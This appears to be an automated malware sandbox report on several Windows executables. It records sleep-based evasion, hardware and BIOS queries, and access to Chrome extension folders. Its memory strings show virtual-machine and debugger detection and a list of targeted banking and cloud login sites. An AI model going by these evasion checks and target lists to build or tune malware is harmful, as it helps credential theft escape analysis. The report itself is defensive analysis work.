Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3552	Thread sleep time: -2223111s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4632	Thread sleep count: 1119 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4632	Thread sleep time: -2239119s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6212	Thread sleep count: 1500 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6212	Thread sleep time: -3001500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5044	Thread sleep count: 219 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5044	Thread sleep time: -6570000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3320	Thread sleep count: 1121 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3320	Thread sleep time: -2243121s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2168	Thread sleep count: 1494 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2168	Thread sleep time: -2989494s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -99873s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -99520s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -99405s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -99278s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -99171s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -99062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -98953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -98843s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -98734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -98623s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -98514s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -98406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -98297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -98172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -98062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -97953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -97843s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -97734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -97625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -97515s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -97405s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -97296s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -97187s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -97078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -96909s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -96737s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -96593s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -96415s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -96265s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -96156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -96046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -95931s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -95821s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -95718s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -95609s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -95496s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -95367s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -95253s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -95125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -95007s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -94903s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -94844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -94734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -94625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe TID: 1804	Thread sleep time: -94514s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 736	Thread sleep count: 5899 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1056	Thread sleep count: 3874 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5980	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6228	Thread sleep count: 7711 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6228	Thread sleep count: 1978 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6084	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe TID: 6076	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4016	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe TID: 3868	Thread sleep time: -922337203685477s >= -30000s
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe TID: 3636	Thread sleep time: -922337203685477s >= -30000s
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe TID: 1424	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe TID: 5056	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe TID: 7032	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe TID: 3864	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe TID: 6672	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe TID: 2456	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe TID: 2388	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe TID: 7608	Thread sleep time: -240000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 99873	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 99520	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 99405	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 99278	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 99171	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 99062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 98953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 98843	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 98734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 98623	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 98514	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 98406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 98297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 98172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 98062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 97953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 97843	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 97734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 97625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 97515	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 97405	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 97296	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 97187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 97078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 96909	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 96737	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 96593	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 96415	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 96265	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 96156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 96046	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 95931	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 95821	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 95718	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 95609	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 95496	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 95367	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 95253	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 95125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 95007	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 94903	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 94844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 94734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 94625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 94514	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Thread delayed: delay time: 922337203685477
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Thread delayed: delay time: 922337203685477
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Thread delayed: delay time: 922337203685477
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Thread delayed: delay time: 922337203685477

Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: skotes.exe, 00000006.00000002.3565466179.00000000011B8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3565466179.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.3557522973.00000206D8C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.3570132728.00000206DE258000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3536747668.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3532731103.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201700814.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3419270172.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q"C:\Windows\system32\vmGuestLib.dll
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 54ad0685cd.exe, 00000020.00000003.3282999434.000000000580D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: wPDYyjKMCw0Og3WVeEka+xsvn29TtmTfWbTJ0IYJkyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arG
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareLR
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWareLR
Source: file.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware\V
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q"C:\Windows\system32\vmGuestLib.dll@
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q0VMware\|VIRTUAL\|A M I\|Xen
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen@\
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q0Microsoft\|VMWare\|Virtual
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual@\
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 54ad0685cd.exe, 00000020.00000003.3260206789.0000000005858000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
